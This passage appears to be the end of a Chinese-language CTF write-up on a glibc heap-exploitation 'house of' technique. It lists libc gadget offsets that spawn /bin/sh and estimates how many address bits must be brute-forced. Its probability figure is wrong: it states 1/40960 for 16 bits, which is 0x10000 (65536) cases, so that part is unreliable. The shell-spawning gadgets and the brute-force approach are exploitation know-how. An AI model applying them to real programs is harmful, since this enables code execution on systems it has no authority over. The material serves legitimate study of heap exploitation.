      0xf03a4 execve("/bin/sh", rsp+0x50, environ)
      constraints:
        [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv
      
      0xf1247 execve("/bin/sh", rsp+0x70, environ)
      constraints:
        [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
      
    3. 对于以上两种情况,目标地址都位于libc base + 0x??___的位置,?表示是随机的值,_表示是固定的值,覆盖是以字节为单位,所以这里需要处理的随机的位有12位需要爆破

综上:仅仅在最后一步覆盖的时候就需要爆破12位,12位共有0x1000种情况,换成十进制就是4096,所以概率1/4096指的是这个阶段的爆破,但是在前面fastbin dup的时候还有4位需要爆破,从头到尾加起来,需要爆破的共16位,也就是0x10000种情况,那概率就是1/40960

总结

如果题目是通过fork来创建子进程用于作答的话,那么子进程会复制父进程的内存,那就可以一点一点去爆破,很快可以爆破出来

否则,每次都是随机的4+12位,只能是我们猜解一个答案,然后不断运行直到程序的随机地址roll出这个基地址,这概率也太低了

这个house of技术的探究就到此为止了,不再寻找新的实践去研究

参考资料


Comment